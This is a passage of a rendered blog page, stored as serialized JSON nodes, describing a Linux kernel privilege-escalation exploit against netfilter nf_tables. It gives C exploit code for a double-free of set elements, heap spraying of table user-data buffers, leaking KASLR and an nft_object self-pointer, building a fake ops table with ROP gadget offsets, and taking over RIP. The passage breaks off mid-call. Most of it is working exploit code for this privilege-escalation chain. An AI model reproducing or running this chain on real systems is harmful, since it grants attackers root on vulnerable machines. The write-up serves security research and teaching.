",{"type":24,"tag":83,"props":54702,"children":54703},{"style":143},[54704],{"type":29,"value":2853},{"type":24,"tag":83,"props":54706,"children":54707},{"style":107},[54708],{"type":29,"value":54417},{"type":24,"tag":83,"props":54710,"children":54711},{"class":85,"line":23391},[54712,54717,54721,54725,54729,54733],{"type":24,"tag":83,"props":54713,"children":54714},{"style":101},[54715],{"type":29,"value":54716},"    nftnl_set_elem_add",{"type":24,"tag":83,"props":54718,"children":54719},{"style":107},[54720],{"type":29,"value":54459},{"type":24,"tag":83,"props":54722,"children":54723},{"style":137},[54724],{"type":29,"value":51778},{"type":24,"tag":83,"props":54726,"children":54727},{"style":107},[54728],{"type":29,"value":1161},{"type":24,"tag":83,"props":54730,"children":54731},{"style":245},[54732],{"type":29,"value":17032},{"type":24,"tag":83,"props":54734,"children":54735},{"style":107},[54736],{"type":29,"value":3496},{"type":24,"tag":83,"props":54738,"children":54739},{"class":85,"line":23399},[54740],{"type":24,"tag":83,"props":54741,"children":54742},{"style":107},[54743],{"type":29,"value":10065},{"type":24,"tag":83,"props":54745,"children":54746},{"class":85,"line":23408},[54747],{"type":24,"tag":83,"props":54748,"children":54749},{"emptyLinePlaceholder":16},[54750],{"type":29,"value":3422},{"type":24,"tag":83,"props":54752,"children":54753},{"class":85,"line":23484},[54754],{"type":24,"tag":83,"props":54755,"children":54756},{"style":107},[54757],{"type":29,"value":54758},"    // double-free commited elems\n",{"type":24,"tag":83,"props":54760,"children":54761},{"class":85,"line":23517},[54762],{"type":24,"tag":83,"props":54763,"children":54764},{"style":107},[54765],{"type":29,"value":10065},{"type":24,"tag":83,"props":54767,"children":54768},{"class":85,"line":23525},[54769,54774,54778],{"type":24,"tag":83,"props":54770,"children":54771},{"style":107},[54772],{"type":29,"value":54773},"    nftnl_set_free(",{"type":24,"tag":83,"props":54775,"children":54776},{"style":3163},[54777],{"type":29,"value":50734},{"type":24,"tag":83,"props":54779,"children":54780},{"style":107},[54781],{"type":29,"value":581},{"type":24,"tag":83,"props":54783,"children":54784},{"class":85,"line":23533},[54785],{"type":24,"tag":83,"props":54786,"children":54787},{"style":107},[54788],{"type":29,"value":464},{"type":24,"tag":83,"props":54790,"children":54791},{"class":85,"line":23570},[54792],{"type":24,"tag":83,"props":54793,"children":54794},{"style":107},[54795],{"type":29,"value":10065},{"type":24,"tag":1818,"props":54797,"children":54799},{"id":54798},"leaking-kaslr",[54800],{"type":29,"value":54801},"Leaking KASLR",{"type":24,"tag":25,"props":54803,"children":54804},{},[54805,54807,54813,54815,54820,54822,54828,54830,54836,54838],{"type":29,"value":54806},"Tables contain an outline user data buffer ",{"type":24,"tag":32,"props":54808,"children":54810},{"className":54809},[],[54811],{"type":29,"value":54812},"udata",{"type":29,"value":54814}," that we can both read and write. By allocating a ",{"type":24,"tag":32,"props":54816,"children":54818},{"className":54817},[],[54819],{"type":29,"value":54812},{"type":29,"value":54821}," buffer on the double-free slot and then overlapping it with an ",{"type":24,"tag":32,"props":54823,"children":54825},{"className":54824},[],[54826],{"type":29,"value":54827},"nft_object",{"type":29,"value":54829}," we can leak the ",{"type":24,"tag":32,"props":54831,"children":54833},{"className":54832},[],[54834],{"type":29,"value":54835},"->ops",{"type":29,"value":54837}," pointer, and use it to calculate the KASLR slide.\n",{"type":24,"tag":2510,"props":54839,"children":54841},{"alt":2512,"src":54840},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":24,"tag":73,"props":54843,"children":54845},{"className":28861,"code":54844,"language":28863,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[54846],{"type":24,"tag":32,"props":54847,"children":54848},{"__ignoreMap":7},[54849,54856,54864,54899,54906,54914,54939,54966,55017,55024,55057,55083,55090,55155,55162,55183,55190,55197,55205,55213,55234,55263,55275,55319,55375],{"type":24,"tag":83,"props":54850,"children":54851},{"class":85,"line":86},[54852],{"type":24,"tag":83,"props":54853,"children":54854},{"style":107},[54855],{"type":29,"value":10065},{"type":24,"tag":83,"props":54857,"children":54858},{"class":85,"line":113},[54859],{"type":24,"tag":83,"props":54860,"children":54861},{"style":107},[54862],{"type":29,"value":54863},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":24,"tag":83,"props":54865,"children":54866},{"class":85,"line":128},[54867,54872,54876,54881,54886,54891,54895],{"type":24,"tag":83,"props":54868,"children":54869},{"style":107},[54870],{"type":29,"value":54871},"    udata_spray(",{"type":24,"tag":83,"props":54873,"children":54874},{"style":3163},[54875],{"type":29,"value":54003},{"type":24,"tag":83,"props":54877,"children":54878},{"style":107},[54879],{"type":29,"value":54880},", 0",{"type":24,"tag":83,"props":54882,"children":54883},{"style":3163},[54884],{"type":29,"value":54885},"xe8",{"type":24,"tag":83,"props":54887,"children":54888},{"style":107},[54889],{"type":29,"value":54890},", 0, 3, ",{"type":24,"tag":83,"props":54892,"children":54893},{"style":3163},[54894],{"type":29,"value":54209},{"type":24,"tag":83,"props":54896,"children":54897},{"style":107},[54898],{"type":29,"value":581},{"type":24,"tag":83,"props":54900,"children":54901},{"class":85,"line":183},[54902],{"type":24,"tag":83,"props":54903,"children":54904},{"emptyLinePlaceholder":16},[54905],{"type":29,"value":3422},{"type":24,"tag":83,"props":54907,"children":54908},{"class":85,"line":203},[54909],{"type":24,"tag":83,"props":54910,"children":54911},{"style":2735},[54912],{"type":29,"value":54913},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":24,"tag":83,"props":54915,"children":54916},{"class":85,"line":212},[54917,54922,54927,54931,54935],{"type":24,"tag":83,"props":54918,"children":54919},{"style":90},[54920],{"type":29,"value":54921},"    char",{"type":24,"tag":83,"props":54923,"children":54924},{"style":137},[54925],{"type":29,"value":54926}," spray_name",{"type":24,"tag":83,"props":54928,"children":54929},{"style":107},[54930],{"type":29,"value":1161},{"type":24,"tag":83,"props":54932,"children":54933},{"style":245},[54934],{"type":29,"value":40562},{"type":24,"tag":83,"props":54936,"children":54937},{"style":107},[54938],{"type":29,"value":1515},{"type":24,"tag":83,"props":54940,"children":54941},{"class":85,"line":256},[54942,54946,54950,54954,54958,54962],{"type":24,"tag":83,"props":54943,"children":54944},{"style":90},[54945],{"type":29,"value":54921},{"type":24,"tag":83,"props":54947,"children":54948},{"style":143},[54949],{"type":29,"value":9563},{"type":24,"tag":83,"props":54951,"children":54952},{"style":137},[54953],{"type":29,"value":54812},{"type":24,"tag":83,"props":54955,"children":54956},{"style":107},[54957],{"type":29,"value":1161},{"type":24,"tag":83,"props":54959,"children":54960},{"style":245},[54961],{"type":29,"value":17032},{"type":24,"tag":83,"props":54963,"children":54964},{"style":107},[54965],{"type":29,"value":1515},{"type":24,"tag":83,"props":54967,"children":54968},{"class":85,"line":270},[54969,54973,54977,54981,54985,54989,54993,54997,55001,55005,55009,55013],{"type":24,"tag":83,"props":54970,"children":54971},{"style":117},[54972],{"type":29,"value":2777},{"type":24,"tag":83,"props":54974,"children":54975},{"style":107},[54976],{"type":29,"value":223},{"type":24,"tag":83,"props":54978,"children":54979},{"style":90},[54980],{"type":29,"value":18786},{"type":24,"tag":83,"props":54982,"children":54983},{"style":107},[54984],{"type":29,"value":54257},{"type":24,"tag":83,"props":54986,"children":54987},{"style":143},[54988],{"type":29,"value":1275},{"type":24,"tag":83,"props":54990,"children":54991},{"style":245},[54992],{"type":29,"value":248},{"type":24,"tag":83,"props":54994,"children":54995},{"style":107},[54996],{"type":29,"value":50948},{"type":24,"tag":83,"props":54998,"children":54999},{"style":143},[55000],{"type":29,"value":5552},{"type":24,"tag":83,"props":55002,"children":55003},{"style":245},[55004],{"type":29,"value":18838},{"type":24,"tag":83,"props":55006,"children":55007},{"style":107},[55008],{"type":29,"value":50979},{"type":24,"tag":83,"props":55010,"children":55011},{"style":143},[55012],{"type":29,"value":50984},{"type":24,"tag":83,"props":55014,"children":55015},{"style":107},[55016],{"type":29,"value":2905},{"type":24,"tag":83,"props":55018,"children":55019},{"class":85,"line":302},[55020],{"type":24,"tag":83,"props":55021,"children":55022},{"style":107},[55023],{"type":29,"value":28938},{"type":24,"tag":83,"props":55025,"children":55026},{"class":85,"line":324},[55027,55032,55037,55042,55047,55052],{"type":24,"tag":83,"props":55028,"children":55029},{"style":101},[55030],{"type":29,"value":55031},"        snprintf",{"type":24,"tag":83,"props":55033,"children":55034},{"style":107},[55035],{"type":29,"value":55036},"(spray_name, ",{"type":24,"tag":83,"props":55038,"children":55039},{"style":90},[55040],{"type":29,"value":55041},"sizeof",{"type":24,"tag":83,"props":55043,"children":55044},{"style":107},[55045],{"type":29,"value":55046},"(spray_name), ",{"type":24,"tag":83,"props":55048,"children":55049},{"style":187},[55050],{"type":29,"value":55051},"\"spray-%i\"",{"type":24,"tag":83,"props":55053,"children":55054},{"style":107},[55055],{"type":29,"value":55056},", i);\n",{"type":24,"tag":83,"props":55058,"children":55059},{"class":85,"line":345},[55060,55065,55069,55073,55078],{"type":24,"tag":83,"props":55061,"children":55062},{"style":137},[55063],{"type":29,"value":55064},"        udata",{"type":24,"tag":83,"props":55066,"children":55067},{"style":107},[55068],{"type":29,"value":54309},{"type":24,"tag":83,"props":55070,"children":55071},{"style":143},[55072],{"type":29,"value":1275},{"type":24,"tag":83,"props":55074,"children":55075},{"style":101},[55076],{"type":29,"value":55077}," getudata",{"type":24,"tag":83,"props":55079,"children":55080},{"style":107},[55081],{"type":29,"value":55082},"(nl, spray_name);\n",{"type":24,"tag":83,"props":55084,"children":55085},{"class":85,"line":358},[55086],{"type":24,"tag":83,"props":55087,"children":55088},{"style":107},[55089],{"type":29,"value":446},{"type":24,"tag":83,"props":55091,"children":55092},{"class":85,"line":367},[55093,55097,55101,55105,55109,55113,55117,55121,55125,55129,55134,55138,55142,55146,55150],{"type":24,"tag":83,"props":55094,"children":55095},{"style":117},[55096],{"type":29,"value":218},{"type":24,"tag":83,"props":55098,"children":55099},{"style":107},[55100],{"type":29,"value":223},{"type":24,"tag":83,"props":55102,"children":55103},{"style":137},[55104],{"type":29,"value":54812},{"type":24,"tag":83,"props":55106,"children":55107},{"style":107},[55108],{"type":29,"value":1161},{"type":24,"tag":83,"props":55110,"children":55111},{"style":245},[55112],{"type":29,"value":1166},{"type":24,"tag":83,"props":55114,"children":55115},{"style":107},[55116],{"type":29,"value":48674},{"type":24,"tag":83,"props":55118,"children":55119},{"style":245},[55120],{"type":29,"value":1166},{"type":24,"tag":83,"props":55122,"children":55123},{"style":107},[55124],{"type":29,"value":1270},{"type":24,"tag":83,"props":55126,"children":55127},{"style":143},[55128],{"type":29,"value":8320},{"type":24,"tag":83,"props":55130,"children":55131},{"style":137},[55132],{"type":29,"value":55133}," udata",{"type":24,"tag":83,"props":55135,"children":55136},{"style":107},[55137],{"type":29,"value":1161},{"type":24,"tag":83,"props":55139,"children":55140},{"style":245},[55141],{"type":29,"value":2867},{"type":24,"tag":83,"props":55143,"children":55144},{"style":107},[55145],{"type":29,"value":48674},{"type":24,"tag":83,"props":55147,"children":55148},{"style":245},[55149],{"type":29,"value":1166},{"type":24,"tag":83,"props":55151,"children":55152},{"style":107},[55153],{"type":29,"value":55154},"])\n",{"type":24,"tag":83,"props":55156,"children":55157},{"class":85,"line":406},[55158],{"type":24,"tag":83,"props":55159,"children":55160},{"style":107},[55161],{"type":29,"value":28938},{"type":24,"tag":83,"props":55163,"children":55164},{"class":85,"line":427},[55165,55170,55174,55179],{"type":24,"tag":83,"props":55166,"children":55167},{"style":101},[55168],{"type":29,"value":55169},"        puts",{"type":24,"tag":83,"props":55171,"children":55172},{"style":107},[55173],{"type":29,"value":558},{"type":24,"tag":83,"props":55175,"children":55176},{"style":187},[55177],{"type":29,"value":55178},"\"[+] got duplicated table\"",{"type":24,"tag":83,"props":55180,"children":55181},{"style":107},[55182],{"type":29,"value":581},{"type":24,"tag":83,"props":55184,"children":55185},{"class":85,"line":440},[55186],{"type":24,"tag":83,"props":55187,"children":55188},{"style":107},[55189],{"type":29,"value":446},{"type":24,"tag":83,"props":55191,"children":55192},{"class":85,"line":449},[55193],{"type":24,"tag":83,"props":55194,"children":55195},{"emptyLinePlaceholder":16},[55196],{"type":29,"value":3422},{"type":24,"tag":83,"props":55198,"children":55199},{"class":85,"line":458},[55200],{"type":24,"tag":83,"props":55201,"children":55202},{"style":2735},[55203],{"type":29,"value":55204},"    // Replace one of the udata buffers with nft_object\n",{"type":24,"tag":83,"props":55206,"children":55207},{"class":85,"line":1065},[55208],{"type":24,"tag":83,"props":55209,"children":55210},{"style":2735},[55211],{"type":29,"value":55212},"    // and read it's counterpart to leak the nft_object struct\n",{"type":24,"tag":83,"props":55214,"children":55215},{"class":85,"line":1668},[55216,55221,55225,55230],{"type":24,"tag":83,"props":55217,"children":55218},{"style":101},[55219],{"type":29,"value":55220},"    puts",{"type":24,"tag":83,"props":55222,"children":55223},{"style":107},[55224],{"type":29,"value":558},{"type":24,"tag":83,"props":55226,"children":55227},{"style":187},[55228],{"type":29,"value":55229},"\"[*] Info leak\"",{"type":24,"tag":83,"props":55231,"children":55232},{"style":107},[55233],{"type":29,"value":581},{"type":24,"tag":83,"props":55235,"children":55236},{"class":85,"line":1713},[55237,55242,55247,55251,55255,55259],{"type":24,"tag":83,"props":55238,"children":55239},{"style":101},[55240],{"type":29,"value":55241},"    deludata_spray",{"type":24,"tag":83,"props":55243,"children":55244},{"style":107},[55245],{"type":29,"value":55246},"(nl, ",{"type":24,"tag":83,"props":55248,"children":55249},{"style":245},[55250],{"type":29,"value":1166},{"type":24,"tag":83,"props":55252,"children":55253},{"style":107},[55254],{"type":29,"value":568},{"type":24,"tag":83,"props":55256,"children":55257},{"style":245},[55258],{"type":29,"value":3756},{"type":24,"tag":83,"props":55260,"children":55261},{"style":107},[55262],{"type":29,"value":581},{"type":24,"tag":83,"props":55264,"children":55265},{"class":85,"line":1730},[55266,55271],{"type":24,"tag":83,"props":55267,"children":55268},{"style":101},[55269],{"type":29,"value":55270},"    wait_destroyer",{"type":24,"tag":83,"props":55272,"children":55273},{"style":107},[55274],{"type":29,"value":267},{"type":24,"tag":83,"props":55276,"children":55277},{"class":85,"line":1770},[55278,55283,55287,55291,55295,55299,55303,55307,55311,55315],{"type":24,"tag":83,"props":55279,"children":55280},{"style":101},[55281],{"type":29,"value":55282},"    obj_spray",{"type":24,"tag":83,"props":55284,"children":55285},{"style":107},[55286],{"type":29,"value":55246},{"type":24,"tag":83,"props":55288,"children":55289},{"style":245},[55290],{"type":29,"value":1166},{"type":24,"tag":83,"props":55292,"children":55293},{"style":107},[55294],{"type":29,"value":568},{"type":24,"tag":83,"props":55296,"children":55297},{"style":245},[55298],{"type":29,"value":3756},{"type":24,"tag":83,"props":55300,"children":55301},{"style":107},[55302],{"type":29,"value":568},{"type":24,"tag":83,"props":55304,"children":55305},{"style":90},[55306],{"type":29,"value":54209},{"type":24,"tag":83,"props":55308,"children":55309},{"style":107},[55310],{"type":29,"value":568},{"type":24,"tag":83,"props":55312,"children":55313},{"style":245},[55314],{"type":29,"value":1166},{"type":24,"tag":83,"props":55316,"children":55317},{"style":107},[55318],{"type":29,"value":581},{"type":24,"tag":83,"props":55320,"children":55321},{"class":85,"line":1778},[55322,55327,55331,55336,55340,55344,55349,55353,55357,55362,55366,55371],{"type":24,"tag":83,"props":55323,"children":55324},{"style":90},[55325],{"type":29,"value":55326},"    uint64_t",{"type":24,"tag":83,"props":55328,"children":55329},{"style":143},[55330],{"type":29,"value":9563},{"type":24,"tag":83,"props":55332,"children":55333},{"style":107},[55334],{"type":29,"value":55335},"fake_obj ",{"type":24,"tag":83,"props":55337,"children":55338},{"style":143},[55339],{"type":29,"value":1275},{"type":24,"tag":83,"props":55341,"children":55342},{"style":107},[55343],{"type":29,"value":223},{"type":24,"tag":83,"props":55345,"children":55346},{"style":90},[55347],{"type":29,"value":55348},"uint64_t",{"type":24,"tag":83,"props":55350,"children":55351},{"style":143},[55352],{"type":29,"value":9563},{"type":24,"tag":83,"props":55354,"children":55355},{"style":107},[55356],{"type":29,"value":2872},{"type":24,"tag":83,"props":55358,"children":55359},{"style":101},[55360],{"type":29,"value":55361},"getudata",{"type":24,"tag":83,"props":55363,"children":55364},{"style":107},[55365],{"type":29,"value":55246},{"type":24,"tag":83,"props":55367,"children":55368},{"style":187},[55369],{"type":29,"value":55370},"\"spray-2\"",{"type":24,"tag":83,"props":55372,"children":55373},{"style":107},[55374],{"type":29,"value":581},{"type":24,"tag":83,"props":55376,"children":55377},{"class":85,"line":1803},[55378],{"type":24,"tag":83,"props":55379,"children":55380},{"style":107},[55381],{"type":29,"value":10065},{"type":24,"tag":1818,"props":55383,"children":55385},{"id":55384},"leaking-self-pointer-of-nft_object",[55386,55388],{"type":29,"value":55387},"Leaking self pointer of ",{"type":24,"tag":32,"props":55389,"children":55391},{"className":55390},[],[55392],{"type":29,"value":54827},{"type":24,"tag":25,"props":55394,"children":55395},{},[55396,55398,55403,55405,55410,55412,55417,55419,55425],{"type":29,"value":55397},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":24,"tag":32,"props":55399,"children":55401},{"className":55400},[],[55402],{"type":29,"value":54827},{"type":29,"value":55404}," to get its own address. This is possible because the ",{"type":24,"tag":32,"props":55406,"children":55408},{"className":55407},[],[55409],{"type":29,"value":54827},{"type":29,"value":55411}," has a ",{"type":24,"tag":32,"props":55413,"children":55415},{"className":55414},[],[55416],{"type":29,"value":54812},{"type":29,"value":55418}," pointer (similar to ",{"type":24,"tag":32,"props":55420,"children":55422},{"className":55421},[],[55423],{"type":29,"value":55424},"table->udata",{"type":29,"value":55426}," that I used for leaking KASLR), that I can use to read/write data.",{"type":24,"tag":25,"props":55428,"children":55429},{},[55430,55431,55436,55438,55444,55446,55451,55453,55459,55461,55467,55469,55474,55476,55481,55483,55488,55490],{"type":29,"value":16348},{"type":24,"tag":32,"props":55432,"children":55434},{"className":55433},[],[55435],{"type":29,"value":54827},{"type":29,"value":55437}," struct also contains a ",{"type":24,"tag":32,"props":55439,"children":55441},{"className":55440},[],[55442],{"type":29,"value":55443},"list_head",{"type":29,"value":55445}," inserted in a circular list containing all ",{"type":24,"tag":32,"props":55447,"children":55449},{"className":55448},[],[55450],{"type":29,"value":54827},{"type":29,"value":55452},"'s that belong to a given ",{"type":24,"tag":32,"props":55454,"children":55456},{"className":55455},[],[55457],{"type":29,"value":55458},"table",{"type":29,"value":55460},". Considering that our object is currently alone in its table, the ",{"type":24,"tag":32,"props":55462,"children":55464},{"className":55463},[],[55465],{"type":29,"value":55466},"table->list.next",{"type":29,"value":55468}," pointer in the ",{"type":24,"tag":32,"props":55470,"children":55472},{"className":55471},[],[55473],{"type":29,"value":54827},{"type":29,"value":55475}," will point back to the ",{"type":24,"tag":32,"props":55477,"children":55479},{"className":55478},[],[55480],{"type":29,"value":55443},{"type":29,"value":55482}," contained in the ",{"type":24,"tag":32,"props":55484,"children":55486},{"className":55485},[],[55487],{"type":29,"value":55458},{"type":29,"value":55489}," and vice-versa.\n",{"type":24,"tag":2510,"props":55491,"children":55493},{"alt":2512,"src":55492},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":24,"tag":25,"props":55495,"children":55496},{},[55497,55499,55504,55506,55511,55513,55519,55521,55526,55527,55532,55534,55539,55541,55546],{"type":29,"value":55498},"In short, that means that if we swap the ",{"type":24,"tag":32,"props":55500,"children":55502},{"className":55501},[],[55503],{"type":29,"value":54812},{"type":29,"value":55505}," pointer of the ",{"type":24,"tag":32,"props":55507,"children":55509},{"className":55508},[],[55510],{"type":29,"value":54827},{"type":29,"value":55512}," with its own ",{"type":24,"tag":32,"props":55514,"children":55516},{"className":55515},[],[55517],{"type":29,"value":55518},"list.next",{"type":29,"value":55520}," pointer we should be able to read a pointer back to the ",{"type":24,"tag":32,"props":55522,"children":55524},{"className":55523},[],[55525],{"type":29,"value":54827},{"type":29,"value":52053},{"type":24,"tag":32,"props":55528,"children":55530},{"className":55529},[],[55531],{"type":29,"value":55443},{"type":29,"value":55533}," which is also the start of the ",{"type":24,"tag":32,"props":55535,"children":55537},{"className":55536},[],[55538],{"type":29,"value":54827},{"type":29,"value":55540}," itself.\n",{"type":24,"tag":2040,"props":55542,"children":55543},{},[55544],{"type":29,"value":55545},"NOTE:",{"type":29,"value":55547}," This is a novel small trick.",{"type":24,"tag":73,"props":55549,"children":55551},{"className":28861,"code":55550,"language":28863,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[55552],{"type":24,"tag":32,"props":55553,"children":55554},{"__ignoreMap":7},[55555,55562,55570,55583,55631,55658,55669,55707,55714,55743,55773],{"type":24,"tag":83,"props":55556,"children":55557},{"class":85,"line":86},[55558],{"type":24,"tag":83,"props":55559,"children":55560},{"style":107},[55561],{"type":29,"value":10065},{"type":24,"tag":83,"props":55563,"children":55564},{"class":85,"line":113},[55565],{"type":24,"tag":83,"props":55566,"children":55567},{"style":107},[55568],{"type":29,"value":55569},"    // Leak nft_object ptr using table linked list\n",{"type":24,"tag":83,"props":55571,"children":55572},{"class":85,"line":128},[55573,55578],{"type":24,"tag":83,"props":55574,"children":55575},{"style":107},[55576],{"type":29,"value":55577},"    fake_obj[8] = 8;",{"type":24,"tag":83,"props":55579,"children":55580},{"style":2735},[55581],{"type":29,"value":55582},"           // ulen = 8\n",{"type":24,"tag":83,"props":55584,"children":55585},{"class":85,"line":183},[55586,55591,55595,55600,55604,55608,55613,55617,55621,55626],{"type":24,"tag":83,"props":55587,"children":55588},{"style":137},[55589],{"type":29,"value":55590},"    fake_obj",{"type":24,"tag":83,"props":55592,"children":55593},{"style":107},[55594],{"type":29,"value":1161},{"type":24,"tag":83,"props":55596,"children":55597},{"style":245},[55598],{"type":29,"value":55599},"9",{"type":24,"tag":83,"props":55601,"children":55602},{"style":107},[55603],{"type":29,"value":1270},{"type":24,"tag":83,"props":55605,"children":55606},{"style":143},[55607],{"type":29,"value":1275},{"type":24,"tag":83,"props":55609,"children":55610},{"style":137},[55611],{"type":29,"value":55612}," fake_obj",{"type":24,"tag":83,"props":55614,"children":55615},{"style":107},[55616],{"type":29,"value":1161},{"type":24,"tag":83,"props":55618,"children":55619},{"style":245},[55620],{"type":29,"value":1166},{"type":24,"tag":83,"props":55622,"children":55623},{"style":107},[55624],{"type":29,"value":55625},"];",{"type":24,"tag":83,"props":55627,"children":55628},{"style":2735},[55629],{"type":29,"value":55630}," // udata = list->next\n",{"type":24,"tag":83,"props":55632,"children":55633},{"class":85,"line":203},[55634,55638,55642,55646,55650,55654],{"type":24,"tag":83,"props":55635,"children":55636},{"style":101},[55637],{"type":29,"value":55241},{"type":24,"tag":83,"props":55639,"children":55640},{"style":107},[55641],{"type":29,"value":55246},{"type":24,"tag":83,"props":55643,"children":55644},{"style":245},[55645],{"type":29,"value":2867},{"type":24,"tag":83,"props":55647,"children":55648},{"style":107},[55649],{"type":29,"value":568},{"type":24,"tag":83,"props":55651,"children":55652},{"style":245},[55653],{"type":29,"value":3756},{"type":24,"tag":83,"props":55655,"children":55656},{"style":107},[55657],{"type":29,"value":581},{"type":24,"tag":83,"props":55659,"children":55660},{"class":85,"line":212},[55661,55665],{"type":24,"tag":83,"props":55662,"children":55663},{"style":101},[55664],{"type":29,"value":55270},{"type":24,"tag":83,"props":55666,"children":55667},{"style":107},[55668],{"type":29,"value":267},{"type":24,"tag":83,"props":55670,"children":55671},{"class":85,"line":256},[55672,55677,55681,55686,55690,55694,55698,55702],{"type":24,"tag":83,"props":55673,"children":55674},{"style":101},[55675],{"type":29,"value":55676},"    udata_spray",{"type":24,"tag":83,"props":55678,"children":55679},{"style":107},[55680],{"type":29,"value":55246},{"type":24,"tag":83,"props":55682,"children":55683},{"style":245},[55684],{"type":29,"value":55685},"0xe8",{"type":24,"tag":83,"props":55687,"children":55688},{"style":107},[55689],{"type":29,"value":568},{"type":24,"tag":83,"props":55691,"children":55692},{"style":245},[55693],{"type":29,"value":17032},{"type":24,"tag":83,"props":55695,"children":55696},{"style":107},[55697],{"type":29,"value":568},{"type":24,"tag":83,"props":55699,"children":55700},{"style":245},[55701],{"type":29,"value":3756},{"type":24,"tag":83,"props":55703,"children":55704},{"style":107},[55705],{"type":29,"value":55706},", fake_obj);\n",{"type":24,"tag":83,"props":55708,"children":55709},{"class":85,"line":270},[55710],{"type":24,"tag":83,"props":55711,"children":55712},{"emptyLinePlaceholder":16},[55713],{"type":29,"value":3422},{"type":24,"tag":83,"props":55715,"children":55716},{"class":85,"line":302},[55717,55722,55726,55731,55735,55739],{"type":24,"tag":83,"props":55718,"children":55719},{"style":101},[55720],{"type":29,"value":55721},"    get_obj",{"type":24,"tag":83,"props":55723,"children":55724},{"style":107},[55725],{"type":29,"value":55246},{"type":24,"tag":83,"props":55727,"children":55728},{"style":187},[55729],{"type":29,"value":55730},"\"spray-0\"",{"type":24,"tag":83,"props":55732,"children":55733},{"style":107},[55734],{"type":29,"value":568},{"type":24,"tag":83,"props":55736,"children":55737},{"style":90},[55738],{"type":29,"value":1237},{"type":24,"tag":83,"props":55740,"children":55741},{"style":107},[55742],{"type":29,"value":581},{"type":24,"tag":83,"props":55744,"children":55745},{"class":85,"line":324},[55746,55751,55755,55760,55764,55768],{"type":24,"tag":83,"props":55747,"children":55748},{"style":101},[55749],{"type":29,"value":55750},"    printf",{"type":24,"tag":83,"props":55752,"children":55753},{"style":107},[55754],{"type":29,"value":558},{"type":24,"tag":83,"props":55756,"children":55757},{"style":187},[55758],{"type":29,"value":55759},"\"[*] nft_object ptr: 0x%lx",{"type":24,"tag":83,"props":55761,"children":55762},{"style":48092},[55763],{"type":29,"value":48095},{"type":24,"tag":83,"props":55765,"children":55766},{"style":187},[55767],{"type":29,"value":19800},{"type":24,"tag":83,"props":55769,"children":55770},{"style":107},[55771],{"type":29,"value":55772},", obj_ptr);\n",{"type":24,"tag":83,"props":55774,"children":55775},{"class":85,"line":345},[55776],{"type":24,"tag":83,"props":55777,"children":55778},{"style":107},[55779],{"type":29,"value":10065},{"type":24,"tag":1818,"props":55781,"children":55783},{"id":55782},"hijacking-control-flow",[55784],{"type":29,"value":55785},"Hijacking control-flow",{"type":24,"tag":25,"props":55787,"children":55788},{},[55789,55791,55796,55798,55803,55805,55810,55812,55817,55819,55824,55826],{"type":29,"value":55790},"To hijack control-flow, we can use ",{"type":24,"tag":32,"props":55792,"children":55794},{"className":55793},[],[55795],{"type":29,"value":54827},{"type":29,"value":55797}," once again. The ",{"type":24,"tag":32,"props":55799,"children":55801},{"className":55800},[],[55802],{"type":29,"value":54827},{"type":29,"value":55804}," struct has an ",{"type":24,"tag":32,"props":55806,"children":55808},{"className":55807},[],[55809],{"type":29,"value":52384},{"type":29,"value":55811}," pointer to a function pointer table. We can swap the ",{"type":24,"tag":32,"props":55813,"children":55815},{"className":55814},[],[55816],{"type":29,"value":52384},{"type":29,"value":55818}," pointer with the ",{"type":24,"tag":32,"props":55820,"children":55822},{"className":55821},[],[55823],{"type":29,"value":54812},{"type":29,"value":55825}," pointer, taking control of the pointer table.\n",{"type":24,"tag":2510,"props":55827,"children":55829},{"alt":2512,"src":55828},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":24,"tag":73,"props":55831,"children":55833},{"className":28861,"code":55832,"language":28863,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, 